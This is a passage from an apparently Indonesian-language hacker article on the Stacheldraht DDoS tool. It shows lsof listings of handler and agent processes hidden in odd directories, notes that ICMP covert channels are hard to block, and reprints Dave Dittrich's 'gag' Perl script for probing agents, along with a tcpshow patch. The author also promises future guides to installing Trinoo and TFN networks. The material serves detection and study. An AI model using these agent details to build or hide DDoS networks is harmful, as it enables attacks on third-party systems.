mserv 1073 root rtd DIR 3,3 1024 2 /
mserv 1073 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1073 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1073 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1073 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1073 root 0u CHR 136,4 6 /dev/pts/4
mserv 1073 root 1u CHR 136,4 6 /dev/pts/4
mserv 1073 root 2u CHR 136,4 6 /dev/pts/4
mserv 1073 root 3u inet 2144 TCP *:16660 (LISTEN)
mserv 1088 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1088 root rtd DIR 3,3 1024 2 /
mserv 1088 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1088 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1088 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1088 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1088 root 0u CHR 136,4 6 /dev/pts/4
mserv 1088 root 1u CHR 136,4 6 /dev/pts/4
mserv 1088 root 2u CHR 136,4 6 /dev/pts/4
mserv 1088 root 3r FIFO 0,0 2227 pipe
mserv 1088 root 5w FIFO 0,0 2227 pipe
mserv 1091 root cwd DIR 3,3 2048 40961 /tmp/...
mserv 1091 root rtd DIR 3,3 1024 2 /
mserv 1091 root txt REG 3,3 50506 41421 /tmp/.../mserv
mserv 1091 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so
mserv 1091 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so
mserv 1091 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so
mserv 1091 root 0u CHR 136,4 6 /dev/pts/4
mserv 1091 root 1u CHR 136,4 6 /dev/pts/4
mserv 1091 root 2u CHR 136,4 6 /dev/pts/4
mserv 1091 root 3r FIFO 0,0 2240 pipe
mserv 1091 root 4u inet 2215 TCP
192.168.0.1:16660->10.0.0.1:1029 (ESTABLISHED)
mserv 1091 root 5w FIFO 0,0 2240 pipe
------------------------------------------------------------------------------


Agent akan terlihat seperti ini:


------------------------------------------------------------------------------
# lsof -c ttymon
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ttymon 437 root cwd DIR 3,1 1024 37208 /usr/lib/libx/...
ttymon 437 root rtd DIR 3,1 1024 2 /
ttymon 437 root txt REG 3,1 324436 37112 /usr/lib/libx/.../ttymon
ttymon 437 root mem REG 3,1 243964 29140 /lib/libnss_files-2.1.1.so
ttymon 437 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
ttymon 437 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ttymon 437 root 3u sock 0,0 779 can't identify protocol
ttymon 449 root cwd DIR 3,1 1024 37208 /usr/lib/libx/...
ttymon 449 root rtd DIR 3,1 1024 2 /
ttymon 449 root txt REG 3,1 324436 37112 /usr/lib/libx/.../ttymon
ttymon 449 root 0u inet 811 TCP *:32222 (LISTEN)
ttymon 449 root 3u sock 0,0 779 can't identify protocol
------------------------------------------------------------------------------


Pertahanan


Karena program menggunakan paket ICMP_ECHOREPLY untuk komunikasinya, maka akan
sangat sulit (jika tidak mustahil) untuk menghalanginya tanpa mematahkan program
Internet yang bersandar pada ICMP. Dalam Phrack magazine disebutkan :

“The only sure way to destroy this channel is to deny ALL
ICMP_ECHO traffic into your network”

Salah satu jalan dalam pertahanan yang real adalah selalu meng-up to date * semua *
system dengan security patches, services yang tidak perlu dimatikan, dan administrator
sistem berkompeten untuk menjalankan dan memonitoring tiap-tiap sistem Unix pada
network-nya. (“stacheldrahter” akan menahan nafas panjang kalo semua sysadmin
ngelakuin itu, OK?…………..:).


Sebenarnya artikel tentang stacheldraht ini belum sepenuhnya saya bahas (di antaranya
yang belum saya bahas adalah ; tentang kelemahan Stacheldraht dan tentang tahap-tahap
evolusi selanjutnya yang akan terjadi pada tools DDos+++dilain waktu akan saya bahas
Udah dulu yah…lagi pegel nih….kapan2 sambung lagi…(aRTiKeL YaNg SeLAnJUtnya aKaN OguT
PubLikaSikAn aDaLah CARA INSTALLASI TRINOO NETWORK, TFN, TFN2K, dll.


A. “Gag” Perl Script yang digunakan untuk mendeteksi Stacheldraht Agen :


------------------------------- potong disini -----------------------------------
#!/usr/bin/perl
#
# gag v. 1.0
# By Dave Dittrich
#
# Send an ICMP_ECHOREPLY packet with ID of 668 to a stacheldraht
# agent, causing it to reply to the sending host with an
# ICMP_ECHOREPLY packet with an ID of 669 and the string "
sicken\n"
# in the data field of the packet. Watch for this with tcpdump,
# ngrep, sniffit, etc., e.g.:
#
# # tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669'
# # tcpshow < stach.dump
# or
# # ngrep -x '*' 'icmp[4:2] = 669'
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./gag [options] iplist
#
# (This code was hacked from the "
macof" program, written by
# Ian Vitek )

require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph';

$a = new Net::RawIP({icmp => {}});
chop($hostname = `hostname`);

Getopts('a:c:f:i:vh');
die "
usage: $0 [options] iplist\
\t-a arg\t\tSend command argument 'arg' (default \"gesundheit!\")\
\t-c val\t\tSend command value 'val' (default 668 - ID_TEST)\
\t-f from_host\t\t(default:$hostname)\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );

# set default values
$opt_i = ($opt_i) ? $opt_i : "
eth0";
$opt_a = ($opt_a) ? $opt_a : "
gesundheit!";
$opt_c = ($opt_c) ? $opt_c : "
668";

# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}

$s_host = ($opt_f) ? $opt_f : $hostname;

if ($ARGV[0]) {
open(I,"
) {
chop;
push(@list,$_);
}
close(I);
}

# Put value in network byte order (couldn't get htons() in
# "netinet/in.ph" to work. Go figure.)
$id = unpack("S", pack("n", $opt_c));

foreach $d_host (@list) {
$a->set({ip => {saddr => $s_host, daddr => $d_host},
icmp => {type => 0, id => $id, data => $opt_a}
});
print "sending packet [$opt_c/\"$opt_a\"] to $d_host\n" if $opt_v;
$a->send;
}

exit(0);
------------------------------- potong disini -----------------------------------


B. Patches tcpshow 1. 0, untuk display ICMP ECHO id/seq :



----------------------------------------------------------------------

diff -c tcpshow/tcpshow.c tcpshow.orig/tcpshow.c
*** tcpshow/tcpshow.c Mon Dec 27 16:21:54 1999
--- tcpshow.orig/tcpshow.c Thu Oct 21 14:12:19 1999
***************
*** 1081,1088 ****
uint2 nskipped;
uint1 type;
char *why;
- uint2 echo_id;
- uint2 echo_seq;


type = getbyte(&pkt); nskipped = sizeof(type);
--- 1081,1086 ----
***************
*** 1093,1103 ****
/* Must calculate it from the size of the IP datagram - the IP header.*/
datalen -= ICMPHDRLEN;

- if (type == ECHO_REQ || type == ECHO_REPLY) {
- echo_id = getword(&pkt); nskipped += sizeof(cksum);
- echo_seq = getword(&pkt); nskipped += sizeof(cksum);
- }
-
why = icmpcode(type, code);
if (dataflag) {
printf(
--- 1091,1096 ----
***************
*** 1120,1129 ****
icmptype(type), why? "\n\tBecause:\t\t\t": "", why? why: ""
);
printf("\tChecksum:\t\t\t0x%04X\n", cksum);
- if (type == ECHO_REQ || type == ECHO_REPLY) {
- printf("\tId:\t\t\t\t0x%04X (%d)\n", echo_id, echo_id);
- printf("\tSequence:\t\t\t0x%04X (%d)\n", ntohs(echo_seq), ntohs(echo_seq));
- }
}

return pkt;
--- 1113,1118 ----
***************
*** 1194,1200 ****
printf("\tVersion:\t\t\t4\n\tHeader Length:\t\t\t%d bytes\n", hlen);
printf("\tService Type:\t\t\t0x%02X\n", (uint2)servtype);
printf("\tDatagram Length:\t\t%d bytes\n", dgramlen);
! printf("\tIdentification:\t\t\t0x%04X (%d)\n", id, id);
printf(
"\tFlags:\t\t\t\tMF=%s DF=%s\n",
(flags & MF) == MF? on: off, (flags & DF) == DF? on_e: off_e
--- 1183,1189 ----
printf("\tVersion:\t\t\t4\n\tHeader Length:\t\t\t%d bytes\n", hlen);
printf("\tService Type:\t\t\t0x%02X\n", (uint2)servtype);
printf("\tDatagram Length:\t\t%d bytes\n", dgramlen);
! printf("\tIdentification:\t\t\t0x%04X\n", id);
printf(
"\tFlags:\t\t\t\tMF=%s DF=%s\n",
(flags & MF) == MF? on: off, (flags & DF) == DF? on_e: off_e


----------------------------------------------------------------------


C. Referensi :

David Dittrich.
http://staff.washington.edu/dittrich/

The "Tribe Flood Network" distributed denial of service attack tool
http://staff.washington.edu/dittrich/misc/tfn.analysis

The DoS Project's "trinoo" distributed denial of service attack tool
http://staff.washington.edu/dittrich/misc/trinoo.analysis

R. Wright., Addison-Wesley.
TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary

Distributed denial of service attack tools at Packet Storm Security
http://packetstorm.securify.com/distributed/

CERT Distributed System Intruder Tools Workshop report
http://www.cert.org/reports/dsit_workshop.pdf

CERT Advisory CA-99-17 Denial-of-Service Tools
http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html

ngrep:
http://www.packetfactory.net/ngrep/

tcpdump:
ftp://ftp.ee.lbl.gov/tcpdump.tar.Z

tcpshow:
http://packetstorm.securify.com/linux/trinux/src/tcpshow.c

sniffit:
http://sniffit.rug.ac.be/sniffit/sniffit.html


Net::RawIP:
http://quake.skif.net/RawIP

loki client/server:
Phrack Magazine, Volume Seven, Issue Forty-Nine,
File 06 of 16, [ Project Loki ]
http://www.phrack.com/

Phrack Magazine Volume 7, Issue 51 September 01, 1997,
article 06 of 17 [ L O K I 2 (the implementation) ]
http://www.phrack.com/

libnet:
http://www.packetfactory.net/libnet


D. thanx’s to :



Senyumnet Company:
Topan, Evan, Zipel, Wiwit, Riko, Tyo, Abang Afudz, dll.
(sorry,…that’s your real name..!!???)

Nixxxer_overrun (japan):
Thank’s for your advices and allow me to use your network….(I guess you must
change your script, it’s very disturbing me…ain’t “child” sucker…!!!!J)




Kirim kritik dan saran ke : hilman_hands@yahoo.com

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT